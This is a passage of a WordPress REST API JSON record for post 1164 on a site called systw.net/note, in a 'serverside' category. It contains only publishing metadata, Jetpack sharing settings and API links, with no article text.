&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[38],"tags":[],"class_list":["post-1164","post","type-post","status-publish","format-standard","hentry","category-serverside"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1164","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1164"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1164\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1164"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1164"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1164"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}